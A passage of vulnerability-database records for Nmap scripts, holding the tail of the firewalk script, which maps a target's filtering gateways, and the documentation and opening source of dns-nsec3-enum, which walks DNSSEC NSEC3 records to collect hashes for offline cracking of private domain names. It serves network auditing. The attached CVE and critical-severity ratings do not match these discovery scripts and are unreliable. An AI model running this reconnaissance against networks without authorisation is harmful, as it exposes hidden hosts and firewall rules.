ip:ip_set_bin_dst(host.bin_ip)\n\n ip:set_u8(ip.ip_offset + 9, packet.IPPROTO_UDP)\n ip.ip_p = packet.IPPROTO_UDP\n ip:ip_set_len(pktbin:len())\n\n ip:udp_set_sport(math.random(0x401, 0xffff))\n ip:udp_set_dport(dport)\n ip:udp_set_length(ip.ip_len - ip.ip_hl * 4)\n ip:udp_count_checksum()\n ip:ip_set_ttl(ttl)\n ip:ip_count_checksum()\n\n return ip\n end,\n}\n\n--- TCP related functions (IPv6 versions)\nlocal tcp_funcs_v6 = {\n\n --- update the global scan status with a reply\n -- @param scanner the scanner handle\n -- @param ip the ICMP time exceeded error packet\n -- @param ip2 the ICMP payload (our original expired probe)\n update_scan = function(scanner, ip, ip2)\n\n local port = ip2.tcp_dport\n\n if port and scanner.ports.tcp[port] then\n\n stdnse.debug1(\"Marking port %d/tcp v6 as forwarded (reply from %s)\", ip2.tcp_dport, ip.ip_src)\n\n -- mark the gateway as forwarding the packet\n scanner.ports.tcp[port].final_ttl = gateway_ttl(scanner.target.traceroute, ip.ip_src)\n scanner.ports.tcp[port].scanned = true\n\n -- remove the related probe\n for i, probe in ipairs(scanner.active_probes) do\n if probe.proto == \"tcp\" and probe.portno == ip2.tcp_dport then\n table.remove(scanner.active_probes, i)\n end\n end\n\n else\n stdnse.debug1(\"Invalid reply to port %d/tcp\", ip2.tcp_dport)\n end\n end,\n\n --- create a TCP probe packet\n -- @param host Host object that represents the destination\n -- @param dport the TCP destination port\n -- @param ttl the IP time to live\n -- @return the newly crafted IP packet\n getprobe = function(host, dport, ttl)\n local pktbin = stdnse.fromhex(\n \"4500 0014 0000 4000 8000 0000 0000 0000 0000 0000\" ..\n \"0000 0000 0000 0000 0000 0000 6002 0c00 0000 0000 0204 05b4\"\n )\n\n local tcp = packet.Packet:new(pktbin, pktbin:len())\n local ip = packet.Packet:new()\n\n tcp:tcp_parse(false)\n\n tcp:tcp_set_sport(math.random(0x401, 0xffff))\n tcp:tcp_set_dport(dport)\n tcp:tcp_set_seq(math.random(1, 0x7fffffff))\n tcp:tcp_count_checksum()\n tcp:ip_count_checksum()\n\n -- Extract layer 4 part and add it as payload to the IP packet\n local tcp_buf = tcp.buf:sub(tcp.tcp_offset + 1, tcp.buf:len())\n ip:build_ipv6_packet(host.bin_ip_src, host.bin_ip, packet.IPPROTO_TCP, tcp_buf, ttl)\n\n return ip\n end,\n\n}\n\n-- UDP related functions (IPv6 versions)\nlocal udp_funcs_v6 = {\n\n --- update the global scan status with a reply\n -- @param scanner the scanner handle\n -- @param ip the ICMP time exceeded error packet\n -- @param ip2 the ICMP payload (our original expired probe)\n update_scan = function(scanner, ip, ip2)\n\n local port = ip2.udp_dport\n\n if port and scanner.ports.udp[port] then\n\n stdnse.debug1(\"Marking port %d/udp v6 as forwarded (reply from %s)\", ip2.udp_dport, ip2.ip_src)\n\n -- mark the gateway as forwarding the packet\n scanner.ports.udp[port].final_ttl = gateway_ttl(scanner.target.traceroute, ip.ip_src)\n scanner.ports.udp[port].scanned = true\n\n for i, probe in ipairs(scanner.active_probes) do\n if probe.proto == \"udp\" and probe.portno == ip2.udp_dport then\n table.remove(scanner.active_probes, i)\n end\n end\n\n else\n stdnse.debug1(\"Invalid reply to port %d/udp\", ip2.udp_dport)\n end\n\n end,\n\n --- create a generic UDP probe packet, with IP ttl and destination port set to zero\n -- @param host Host object that represents the destination\n -- @param dport the UDP destination port\n -- @param ttl the IP time to live\n -- @return the newly crafted IP packet\n getprobe = function(host, dport, ttl)\n local pktbin = stdnse.fromhex(\n \"4500 0014 0000 4000 8000 0000 0000 0000 0000 0000\" ..\n \"0000 0000 0800 0000\"\n )\n\n local udp = packet.Packet:new(pktbin, pktbin:len())\n local ip = packet.Packet:new()\n\n udp:udp_parse(false)\n\n udp:udp_set_sport(math.random(0x401, 0xffff))\n udp:udp_set_dport(dport)\n udp:udp_set_length(8)\n udp:udp_count_checksum()\n udp:ip_count_checksum()\n\n -- Extract layer 4 part and add it as payload to the IP packet\n local udp_buf = udp.buf:sub(udp.udp_offset + 1, udp.buf:len())\n ip:build_ipv6_packet(host.bin_ip_src, host.bin_ip, packet.IPPROTO_UDP, udp_buf, ttl)\n\n return ip\n end,\n}\n\n\n\n--=\n-- IP-specific functions. The following tables provides scanner functions that\n-- depend on the IP version.\n--=\n\n\n-- IPv4 functions\nlocal Firewalk_v4 = {\n\n --- IPv4 initialization function. Open injection and reception sockets.\n -- @param scanner the scanner handle\n init = function(scanner)\n local saddr = ipOps.str_to_ip(scanner.target.bin_ip_src)\n\n scanner.sock = nmap.new_dnet()\n scanner.pcap = nmap.new_socket()\n\n -- filter for incoming ICMP time exceeded replies\n scanner.pcap:pcap_open(scanner.target.interface, 104, false, \"icmp and dst host \" .. saddr)\n\n local try = nmap.new_try()\n try(scanner.sock:ip_open())\n end,\n\n --- IPv4 cleanup function. Close injection and reception sockets.\n -- @param scanner the scanner handle\n shutdown = function(scanner)\n scanner.sock:ip_close()\n scanner.pcap:pcap_close()\n end,\n\n --- check whether an incoming IP packet is an ICMP TIME_EXCEEDED packet or not\n -- @param src the source IP address\n -- @param layer3 the IP incoming datagram\n -- @return whether the packet seems to be a valid reply or not\n check = function(src, layer3)\n local ip = packet.Packet:new(layer3, layer3:len())\n return ip.ip_bin_dst == src\n and ip.ip_p == packet.IPPROTO_ICMP\n and ip.icmp_type == ICMP_TIME_EXCEEDEDv4\n end,\n\n --- update global state with an incoming reply\n -- @param scanner the scanner handle\n -- @param pkt an incoming valid IP packet\n parse_reply = function(scanner, pkt)\n local ip = packet.Packet:new(pkt, pkt:len())\n\n if ip.ip_p ~= packet.IPPROTO_ICMP or ip.icmp_type ~= ICMP_TIME_EXCEEDEDv4 then\n return\n end\n\n local is = ip.buf:sub(ip.icmp_offset + 9)\n local ip2 = packet.Packet:new(is, is:len(), true)\n\n -- check ICMP payload\n if ip2.ip_bin_src == scanner.target.bin_ip_src and\n ip2.ip_bin_dst == scanner.target.bin_ip then\n\n -- layer 4 checks\n local proto_func = proto_vtable[proto2str(ip2.ip_p)]\n if proto_func then\n -- mark port as forwarded and discard any related pending probes\n proto_func.update_scan(scanner, ip, ip2)\n else\n stdnse.debug1(\"Invalid protocol for reply (%d)\", ip2.ip_p)\n end\n end\n end,\n}\n\n\n-- IPv6 functions\nlocal Firewalk_v6 = {\n\n --- IPv6 initialization function. Open injection and reception sockets.\n -- @param scanner the scanner handle\n init = function(scanner)\n local saddr = ipOps.str_to_ip(scanner.target.bin_ip_src)\n\n scanner.sock = nmap.new_dnet()\n scanner.pcap = nmap.new_socket()\n\n -- filter for incoming ICMP time exceeded replies\n scanner.pcap:pcap_open(scanner.target.interface, 1500, false, \"icmp6 and dst host \" .. saddr)\n\n local try = nmap.new_try()\n try(scanner.sock:ip_open())\n end,\n\n --- IPv6 cleanup function. Close injection and reception sockets.\n -- @param scanner the scanner handle\n shutdown = function(scanner)\n scanner.sock:ip_close()\n scanner.pcap:pcap_close()\n end,\n\n --- check whether an incoming IP packet is an ICMP TIME_EXCEEDED packet or not\n -- @param src the source IP address\n -- @param layer3 the IP incoming datagram\n -- @return whether the packet seems to be a valid reply or not\n check = function(src, layer3)\n local ip = packet.Packet:new(layer3)\n return ip.ip_bin_dst == src\n and ip.ip_p == packet.IPPROTO_ICMPV6\n and ip.icmpv6_type == ICMP_TIME_EXCEEDEDv6\n end,\n\n --- update global state with an incoming reply\n -- @param scanner the scanner handle\n -- @param pkt an incoming valid IP packet\n parse_reply = function(scanner, pkt)\n local ip = packet.Packet:new(pkt)\n\n if ip.ip_p ~= packet.IPPROTO_ICMPV6 or ip.icmpv6_type ~= ICMP_TIME_EXCEEDEDv6 then\n return\n end\n\n local is = ip.buf:sub(ip.icmpv6_offset + 9, ip.buf:len())\n local ip2 = packet.Packet:new(is)\n\n -- check ICMP payload\n if ip2.ip_bin_src == scanner.target.bin_ip_src and\n ip2.ip_bin_dst == scanner.target.bin_ip then\n\n -- layer 4 checks\n local proto_func = proto_vtable[proto2str(ip2.ip_p)]\n if proto_func then\n -- mark port as forwarded and discard any related pending probes\n proto_func.update_scan(scanner, ip, ip2)\n else\n stdnse.debug1(\"Invalid protocol for reply (%d)\", ip2.ip_p)\n end\n end\n end,\n}\n\n--- Initialize global function tables according to the current address family\nlocal function firewalk_init()\n if nmap.address_family() == \"inet\" then\n proto_vtable.tcp = tcp_funcs_v4\n proto_vtable.udp = udp_funcs_v4\n Firewalk = Firewalk_v4\n else\n proto_vtable.tcp = tcp_funcs_v6\n proto_vtable.udp = udp_funcs_v6\n Firewalk = Firewalk_v6\n end\nend\n\n--- generate list of ports to probe\n-- @param host the destination host object\n-- @return an array of the ports to probe, sorted per protocol\nlocal function build_portlist(host)\n local portlist = {}\n local combos = {\n {\"tcp\", \"filtered\"},\n {\"udp\", \"open|filtered\"}\n }\n\n for _, combo in ipairs(combos) do\n local i = 0\n local port = nil\n local proto = combo[1]\n local state = combo[2]\n\n repeat\n port = nmap.get_ports(host, port, proto, state)\n\n -- do not include administratively prohibited ports\n if port and port.reason == \"no-response\" then\n local pentry = {\n final_ttl = 0, -- TTL of the blocking gateway\n scanned = false, -- initial state: unprobed\n }\n\n portlist[proto] = portlist[proto] or {}\n\n portlist[proto][port.number] = pentry\n i = i + 1\n end\n\n until not port or i == MaxProbedPorts\n end\n\n return portlist\n\nend\n\n--- wrapper for stdnse.parse_timespec() to get specified value in milliseconds\n-- @param spec the time specification string (like \"10s\", \"120ms\"...)\n-- @return the equivalent number of milliseconds or nil on failure\nlocal function parse_timespec_ms(spec)\n local t = stdnse.parse_timespec(spec)\n if t then\n return t * 1000\n else\n return nil\n end\nend\n\n--- set scan parameters using user values if specified or defaults otherwise\nlocal function getopts()\n\n -- assign parameters to scan constants or use defaults\n\n MaxRetries = tonumber(stdnse.get_script_args(\"firewalk.max-retries\")) or DEFAULT_MAX_RETRIES\n\n MaxActiveProbes = tonumber(stdnse.get_script_args(\"firewalk.max-active-probes\")) or DEFAULT_MAX_ACTIVE_PROBES\n\n MaxProbedPorts = tonumber(stdnse.get_script_args(\"firewalk.max-probed-ports\")) or DEFAULT_MAX_PROBED_PORTS\n\n\n -- use stdnse time specification parser for ProbeTimeout and RecvTimeout\n\n local timespec = stdnse.get_script_args(\"firewalk.recv-timeout\")\n\n if timespec then\n\n RecvTimeout = parse_timespec_ms(timespec)\n\n if not RecvTimeout then\n stdnse.debug1(\"Invalid time specification for option: firewalk.recv-timeout (%s)\", timespec)\n return false\n end\n\n else\n -- no value supplied: use default\n RecvTimeout = DEFAULT_RECV_TIMEOUT\n end\n\n\n timespec = stdnse.get_script_args(\"firewalk.probe-timeout\")\n\n if timespec then\n\n ProbeTimeout = parse_timespec_ms(timespec)\n\n if not ProbeTimeout then\n stdnse.debug1(\"Invalid time specification for option: firewalk.probe-timeout (%s)\", timespec)\n return false\n end\n\n else\n -- no value supplied: use default\n ProbeTimeout = DEFAULT_PROBE_TIMEOUT\n end\n\n return true\n\nend\n\n--- host rule, check for requirements before to launch the script\nhostrule = function(host)\n if not nmap.is_privileged() then\n nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}\n if not nmap.registry[SCRIPT_NAME].rootfail then\n stdnse.verbose1(\"not running for lack of privileges.\")\n end\n nmap.registry[SCRIPT_NAME].rootfail = true\n return false\n end\n\n if not host.interface then\n return false\n end\n\n -- assign user's values to scan parameters or use defaults\n if not getopts() then\n return false\n end\n\n -- get the list of ports to probe\n FirewalkPorts = build_portlist(host)\n\n -- schedule the execution if there are filtered ports to probe\n return (next(FirewalkPorts) ~= nil)\n\nend\n\n--- return the initial TTL to use (the one of the last gateway before the target)\n-- @param host the object representing the target with traceroute results available\n-- @return the IP TTL of the last gateway before the target\nlocal function initial_ttl(host)\n\n if not host.traceroute then\n if not nmap.registry['firewalk'] then\n nmap.registry['firewalk'] = {}\n end\n\n if nmap.registry['firewalk']['traceroutefail'] then\n return nil\n end\n\n nmap.registry['firewalk']['traceroutefail'] = true\n\n if nmap.verbosity() > 0 then\n stdnse.debug1(\"requires unavailable traceroute information.\")\n end\n\n return nil\n end\n\n stdnse.debug1(\"Using ttl %d\", #host.traceroute)\n return #host.traceroute\nend\n\n--- convert an array of ports into a port ranges string like \"x,y-z\"\n-- @param ports an array of numbers\n-- @return a string representing the ports as folded ranges\nlocal function portrange(ports)\n\n table.sort(ports)\n local numranges = {}\n\n if #ports == 0 then\n return \"(none found)\"\n end\n\n for _, p in ipairs(ports) do\n\n local stored = false\n\n -- iterate over the ports list\n for k, range in ipairs(numranges) do\n\n -- increase an existing range by the left\n if p == range[\"start\"] - 1 then\n numranges[k][\"start\"] = p\n stored = true\n\n -- increase an existing range by the right\n elseif p == range[\"stop\"] + 1 then\n numranges[k][\"stop\"] = p\n stored = true\n\n -- port contained in an already existing range (catch doublons)\n elseif p >= range[\"start\"] and p <= range[\"stop\"] then\n stored = true\n end\n\n end\n\n -- start a new range\n if not stored then\n local range = {}\n range[\"start\"] = p\n range[\"stop\"] = p\n table.insert(numranges, range)\n end\n\n end\n\n -- stringify the ranges\n local strrange = {}\n for i, val in ipairs(numranges) do\n\n local start = tostring(val[\"start\"])\n local stop = tostring(val[\"stop\"])\n\n if start == stop then\n table.insert(strrange, start)\n else\n -- contiguous ranges are represented as x-z\n table.insert(strrange, start .. \"-\" .. stop)\n end\n end\n\n -- ranges are delimited by `,'\n return table.concat(strrange, \",\")\n\nend\n\n--- return a printable report of the scan\n-- @param scanner the scanner handle\n-- @return a printable table of scan results\nlocal function report(scanner)\n local entries = 0\n local output = tab.new(4)\n\n tab.add(output, 1, \"HOP\")\n tab.add(output, 2, \"HOST\")\n tab.add(output, 3, \"PROTOCOL\")\n tab.add(output, 4, \"BLOCKED PORTS\")\n tab.nextrow(output)\n\n -- duplicate traceroute results and add localhost at the beginning\n local path = {\n -- XXX 'localhost' might be a better choice?\n {ip = ipOps.str_to_ip(scanner.target.bin_ip_src)}\n }\n\n for _, v in pairs(scanner.target.traceroute) do\n table.insert(path, v)\n end\n\n\n for ttl = 0, #path - 1 do\n local fwdedports = {}\n\n for proto, portlist in pairs(scanner.ports) do\n fwdedports[proto] = {}\n\n for portno, port in pairs(portlist) do\n\n if port.final_ttl == ttl then\n table.insert(fwdedports[proto], portno)\n end\n end\n end\n\n\n local nb_fports = 0\n\n for _, proto in pairs(fwdedports) do\n for _ in pairs(proto) do\n nb_fports = nb_fports + 1\n end\n end\n\n if nb_fports > 0 then\n\n entries = entries + 1\n\n -- the blocking gateway is just after the last forwarding one\n tab.add(output, 1, tostring(ttl))\n\n -- timedout traceroute hops are represented by empty tables\n if path[ttl + 1].ip then\n tab.add(output, 2, path[ttl + 1].ip)\n else\n tab.add(output, 2, \"???\")\n end\n\n for proto, ports in pairs(fwdedports) do\n if #fwdedports[proto] > 0 then\n tab.add(output, 3, proto)\n tab.add(output, 4, portrange(ports))\n tab.nextrow(output)\n end\n end\n end\n end\n\n if entries > 0 then\n return \"\\n\" .. tab.dump(output)\n else\n return \"None found\"\n end\nend\n\n--- check whether the scan is finished or not\n-- @param scanner the scanner handle\n-- @return if some port is still in unknown state\nlocal function finished(scanner)\n\n for proto, ports in pairs(scanner.ports) do\n\n -- ports are sorted per protocol\n for _, port in pairs(ports) do\n\n -- if a port is still unprobed => we're not done!\n if not port.scanned then\n return false\n end\n end\n end\n\n -- every ports have been scanned\n return true\nend\n\n--- send a probe and update it\n-- @param scanner the scanner handle\n-- @param probe the probe specifications and related information\nlocal function send_probe(scanner, probe)\n\n local try = nmap.new_try(function() scanner.sock:ip_close() end)\n\n stdnse.debug1(\"Sending new probe (%d/%s ttl=%d)\", probe.portno, probe.proto, probe.ttl)\n\n -- craft the raw packet\n local pkt = proto_vtable[probe.proto].getprobe(scanner.target, probe.portno, probe.ttl)\n\n try(scanner.sock:ip_send(pkt.buf, scanner.target))\n\n -- update probe information\n probe.retry = probe.retry + 1\n probe.sent_time = nmap.clock_ms()\n\nend\n\n--- send some new probes\n-- @param scanner the scanner handle\nlocal function send_next_probes(scanner)\n\n -- this prevents sending too much probes at the same time\n while #scanner.active_probes < MaxActiveProbes do\n\n local probe\n -- perform resends\n if #scanner.pending_resends > 0 then\n\n probe = scanner.pending_resends[1]\n table.remove(scanner.pending_resends, 1)\n table.insert(scanner.active_probes, probe)\n send_probe(scanner, probe)\n\n -- send new probes\n elseif #scanner.sendqueue > 0 then\n\n probe = scanner.sendqueue[1]\n table.remove(scanner.sendqueue, 1)\n table.insert(scanner.active_probes, probe)\n send_probe(scanner, probe)\n\n -- nothing else to send right now\n else\n return\n end\n end\n\nend\n\n--- wait for incoming replies\n-- @param scanner the scanner handle\nlocal function read_replies(scanner)\n\n -- capture loop\n local timeout = RecvTimeout\n repeat\n\n local start = nmap.clock_ms()\n\n scanner.pcap:set_timeout(timeout)\n\n local status, _, _, l3, _ = scanner.pcap:pcap_receive()\n\n if status and Firewalk.check(scanner.target.bin_ip_src, l3) then\n Firewalk.parse_reply(scanner, l3)\n end\n\n timeout = timeout - (nmap.clock_ms() - start)\n\n until timeout <= 0 or #scanner.active_probes == 0\nend\n\n--- delete timedout probes, update pending probes\n-- @param scanner the scanner handle\nlocal function update_probe_queues(scanner)\n\n local now = nmap.clock_ms()\n\n -- remove timedout probes\n for i, probe in ipairs(scanner.active_probes) do\n\n if (now - probe.sent_time) >= ProbeTimeout then\n\n table.remove(scanner.active_probes, i)\n\n if probe.retry < MaxRetries then\n table.insert(scanner.pending_resends, probe)\n else\n\n -- decrease ttl, reset retries counter and put probes in send queue\n if probe.ttl > 1 then\n\n probe.ttl = probe.ttl - 1\n probe.retry = 0\n table.insert(scanner.sendqueue, probe)\n\n else\n\n -- set final_ttl to zero (=> probe might be blocked by localhost)\n scanner.ports[probe.proto][probe.portno].final_ttl = 0\n scanner.ports[probe.proto][probe.portno].scanned = true\n\n end\n end\n end\n end\nend\n\n--- fills the send queue with initial probes\n-- @param scanner the scanner handle\nlocal function generate_initial_probes(scanner)\n\n for proto, ports in pairs(scanner.ports) do\n\n for portno in pairs(ports) do\n\n -- simply store probe parameters and craft packet at send time\n local probe = {\n ttl = scanner.ttl, -- initial ttl value\n proto = proto, -- layer 4 protocol (string)\n portno = portno, -- layer 4 port number\n retry = 0, -- retries counter\n sent_time = 0 -- last sending time\n }\n\n table.insert(scanner.sendqueue, probe)\n\n end\n end\nend\n\n--- firewalk entry point\naction = function(host)\n\n firewalk_init() -- global script initialization process\n\n -- scan handle, scanner state is saved in this table\n local scanner = {\n target = host,\n ttl = initial_ttl(host),\n\n ports = FirewalkPorts,\n\n sendqueue = {}, -- pending probes\n pending_resends = {}, -- probes needing to be resent\n active_probes = {}, -- probes currently neither replied nor timedout\n }\n\n if not scanner.ttl then\n return nil\n end\n\n Firewalk.init(scanner)\n\n generate_initial_probes(scanner)\n\n while not finished(scanner) do\n send_next_probes(scanner)\n read_replies(scanner)\n update_probe_queues(scanner)\n end\n\n Firewalk.shutdown(scanner)\n\n return report(scanner)\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:45:54", "description": "Tries to enumerate domain names from the DNS server that supports DNSSEC NSEC3 records. \n\nThe script queries for nonexistant domains until it exhausts all domain ranges keeping track of hashes. At the end, all hashes are printed along with salt and number of iterations used. This technique is known as \"NSEC3 walking\". \n\nThat info should then be fed into an offline cracker, like `unhash` from <https://dnscurve.org/nsec3walker.html>, to bruteforce the actual names from the hashes. Assuming that the script output was written into a text file `hashes.txt` like: \n \n \n domain example.com\n salt 123456\n iterations 10\n nexthash d1427bj0ahqnpi4t0t0aaun18oqpgcda vhnelm23s1m3japt7gohc82hgr9un2at\n nexthash k7i4ekvi22ebrim5b6celtaniknd6ilj prv54a3cr1tbcvqslrb7bftf5ji5l0p8\n nexthash 9ool6bk7r2diaiu81ctiemmb6n961mph nm7v0ig7h9c0agaedc901kojfj9bgabj\n nexthash 430456af8svfvl98l66shhrgucoip7mi mges520acstgaviekurg3oksh9u31bmb\n\nRun this command to recover the domain names: \n \n \n # ./unhash < hashes.txt > domains.txt\n names: 8\n d1427bj0ahqnpi4t0t0aaun18oqpgcda ns.example.com.\n found 1 private NSEC3 names (12%) using 235451 hash computations\n k7i4ekvi22ebrim5b6celtaniknd6ilj vulpix.example.com.\n found 2 private NSEC3 names (25%) using 35017190 hash computations\n\nUse the `dns-nsec-enum` script to handle servers that use NSEC rather than NSEC3. \n\nReferences: \n\n * <https://dnscurve.org/nsec3walker.html>\n\n### See also:\n\n * [ dns-nsec-enum.nse ](<../scripts/dns-nsec-enum.html>)\n * [ dns-ip6-arpa-scan.nse ](<../scripts/dns-ip6-arpa-scan.html>)\n * [ dns-brute.nse ](<../scripts/dns-brute.html>)\n * [ dns-zone-transfer.nse ](<../scripts/dns-zone-transfer.html>)\n\n## Script Arguments \n\n#### dns-nsec3-enum.domains \n\nThe domain or list of domains to enumerate. If not provided, the script will make a guess based on the name of the target.\n\n#### dns-nsec3-enum.timelimit \n\nSets a script run time limit. Default 30 minutes.\n\n## Example Usage \n \n \n nmap -sU -p 53 <target> --script=dns-nsec3-enum --script-args dns-nsec3-enum.domains=example.com\n \n\n## Script Output \n \n \n PORT STATE SERVICE\n 53/udp open domain\n | dns-nsec3-enum:\n | domain example.com\n | salt 123456\n | iterations 10\n | nexthash d1427bj0ahqnpi4t0t0aaun18oqpgcda vhnelm23s1m3japt7gohc82hgr9un2at\n | nexthash k7i4ekvi22ebrim5b6celtaniknd6ilj prv54a3cr1tbcvqslrb7bftf5ji5l0p8\n | nexthash 9ool6bk7r2diaiu81ctiemmb6n961mph nm7v0ig7h9c0agaedc901kojfj9bgabj\n | nexthash 430456af8svfvl98l66shhrgucoip7mi mges520acstgaviekurg3oksh9u31bmb\n |_ Total hashes found: 8\n\n## Requires \n\n * [stdnse](<../lib/stdnse.html>)\n * [shortport](<../lib/shortport.html>)\n * [dns](<../lib/dns.html>)\n * [base32](<../lib/base32.html>)\n * [nmap](<../lib/nmap.html>)\n * [string](<>)\n * [stringaux](<../lib/stringaux.html>)\n * [table](<>)\n * [tableaux](<../lib/tableaux.html>)\n * [rand](<../lib/rand.html>)\n * [openssl](<../lib/openssl.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2012-06-09T18:44:46", "type": "nmap", "title": "dns-nsec3-enum NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-11-06T15:07:01", "id": "NMAP:DNS-NSEC3-ENUM.NSE", "href": "https://nmap.org/nsedoc/scripts/dns-nsec3-enum.html", "sourceData": "local stdnse = require \"stdnse\"\nlocal shortport = require \"shortport\"\nlocal dns = require \"dns\"\nlocal base32 = require \"base32\"\nlocal nmap = require \"nmap\"\nlocal string = require \"string\"\nlocal stringaux = require \"stringaux\"\nlocal table = require \"table\"\nlocal tableaux = require \"tableaux\"\nlocal rand = require \"rand\"\n\nlocal openssl = stdnse.silent_require \"openssl\"\n\ndescription = [[\nTries to enumerate domain names from the DNS server that supports DNSSEC\nNSEC3 records.\n\nThe script queries for nonexistant domains until it exhausts all domain\nranges keeping track of hashes. At the end, all hashes are printed along\nwith salt and number of iterations used. This technique is known as\n\"NSEC3 walking\".\n\nThat info should then be fed into an offline cracker, like\n<code>unhash</code> from https://dnscurve.org/nsec3walker.html, to\nbruteforce the actual names from the hashes. Assuming that the script\noutput was written into a text file <code>hashes.txt</code> like:\n<code>\ndomain example.com\nsalt 123456\niterations 10\nnexthash d1427bj0ahqnpi4t0t0aaun18oqpgcda vhnelm23s1m3japt7gohc82hgr9un2at\nnexthash k7i4ekvi22ebrim5b6celtaniknd6ilj prv54a3cr1tbcvqslrb7bftf5ji5l0p8\nnexthash 9ool6bk7r2diaiu81ctiemmb6n961mph nm7v0ig7h9c0agaedc901kojfj9bgabj\nnexthash 430456af8svfvl98l66shhrgucoip7mi mges520acstgaviekurg3oksh9u31bmb\n</code>\n\nRun this command to recover the domain names:\n<code>\n# ./unhash < hashes.txt > domains.txt\nnames: 8\nd1427bj0ahqnpi4t0t0aaun18oqpgcda ns.example.com.\nfound 1 private NSEC3 names (12%) using 235451 hash computations\nk7i4ekvi22ebrim5b6celtaniknd6ilj vulpix.example.com.\nfound 2 private NSEC3 names (25%) using 35017190 hash computations\n</code>\n\nUse the <code>dns-nsec-enum</code> script to handle servers that use NSEC\nrather than NSEC3.\n\nReferences:\n* https://dnscurve.org/nsec3walker.html\n]]\n---\n-- @usage\n-- nmap -sU -p 53 <target> --script=dns-nsec3-enum --script-args dns-nsec3-enum.domains=example.com\n---\n-- @args dns-nsec3-enum.domains The domain or list of domains to\n-- enumerate. If not provided, the script will make a guess based on the\n-- name of the target.\n-- @args dns-nsec3-enum.timelimit Sets a script run time limit. Default 30 minutes.\n--\n-- @see dns-nsec-enum.nse\n-- @see dns-ip6-arpa-scan.nse\n-- @see dns-brute.nse\n-- @see dns-zone-transfer.nse\n--\n-- @output\n-- PORT STATE SERVICE\n-- 53/udp open domain\n-- | dns-nsec3-enum:\n-- | domain example.com\n-- | salt 123456\n-- | iterations 10\n-- | nexthash d1427bj0ahqnpi4t0t0aaun18oqpgcda vhnelm23s1m3japt7gohc82hgr9un2at\n-- | nexthash k7i4ekvi22ebrim5b6celtaniknd6ilj prv54a3cr1tbcvqslrb7bftf5ji5l0p8\n-- | nexthash 9ool6bk7r2diaiu81ctiemmb6n961mph nm7v0ig7h9c0agaedc901kojfj9bgabj\n-- | nexthash 430456af8svfvl98l66shhrgucoip7mi mges520acstgaviekurg3oksh9u31bmb\n-- |_ Total hashes found: 8\n\nauthor = {\"Aleksandar Nikolic\", \"John R. Bond\"}\nlicense = \"Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified\"\ncategories = {\"discovery\", \"intrusive\"}\n\nportrule = shortport.port_or_service(53, \"domain\", {\"tcp\", \"udp\"})\n\nall_results = {}\n\n-- get time (in milliseconds) when the script should finish\nlocal function get_end_time()\n local t = nmap.timing_level()\n local limit = stdnse.parse_timespec(stdnse.get_script_args('dns-nsec3-enum.timelimit') or \"30m\")\n local end_time = 1000 * limit + nmap.clock_ms()\n return end_time\nend\n\nlocal function remove_empty(t)\n local result = {}\n for _, v in ipairs(t) do\n if v ~= \"\" then\n result[#result + 1] = v\n end\n end\n return result\nend\n\nlocal function split(domain)\n return stringaux.strsplit(\"%.\", domain)\nend\n\nlocal function join(components)\n return table.concat(remove_empty(components, \".\"))\nend\n\n-- Remove the first component of a domain name. Return nil if the number of\n-- components drops below min_length (default 0).\nlocal function remove_component(domain, min_length)\n local components\n\n min_length = min_length or 0\n components = split(domain)\n if #components < min_length then\n return nil\n end\n table.remove(components, 1)\n\n return join(components)\nend\n\n-- Guess the domain given a host. Return nil on failure. This function removes\n-- a domain name component unless the name would become shorter than 2\n-- components.\nlocal function guess_domain(host)\n local name\n local components\n\n name = stdnse.get_hostname(host)\n if name and name ~= host.ip then\n return remove_component(name, 2) or name\n else\n return nil\n end\nend\n\n-- Remove a suffix from a domain (to isolate a subdomain from its parent).\nlocal function remove_suffix(domain, suffix)\n local dc, sc\n\n dc = split(domain)\n sc = split(suffix)\n while #dc > 0 and #sc > 0 and dc[#dc] == sc[#sc] do\n dc[#dc] = nil\n sc[#sc] = nil\n end\n\n return join(dc), join(sc)\nend\n\n-- Return the subset of authoritative records with the given label.\nlocal function auth_filter(retPkt, label)\n local result = {}\n\n for _, rec in ipairs(retPkt.auth) do\n if rec[label] then\n result[#result + 1] = rec[label]\n end\n end\n\n return result\nend\n\n\nlocal function empty(t)\n return not next(t)\nend\n\n-- generate a random hash with domains suffix\n-- return both domain and its hash\nlocal function generate_hash(domain, iter, salt)\n local rand_str = rand.random_string(8, \"etaoinshrdlucmfw\")\n local random_domain = rand_str .. \".\" .. domain\n local packed_domain = {}\n for word in string.gmatch(random_domain, \"[^%.]+\") do\n packed_domain[#packed_domain+1] = string.pack(\"s1\", word)\n end\n salt = stdnse.fromhex( salt)\n local to_hash = (\"%s\\0%s\"):format(table.concat(packed_domain), salt)\n iter = iter - 1\n local hash = openssl.sha1(to_hash)\n for i=0,iter do\n hash = openssl.sha1(hash .. salt)\n end\n return string.lower(base32.enc(hash,true)), random_domain\nend\n\n-- convenience function , returns size of a table\nlocal function table_size(tbl)\n local numItems = 0\n for k,v in pairs(tbl) do\n numItems = numItems + 1\n end\n return numItems\nend\n\n-- convenience function , return first item in a table\nlocal function get_first(tbl)\n for k,v in pairs(tbl) do\n return k,v\n end\nend\n\n-- queries the domain and parses the results\n-- returns the list of new ranges\nlocal function query_for_hashes(host,subdomain,domain)\n local status\n local result\n local r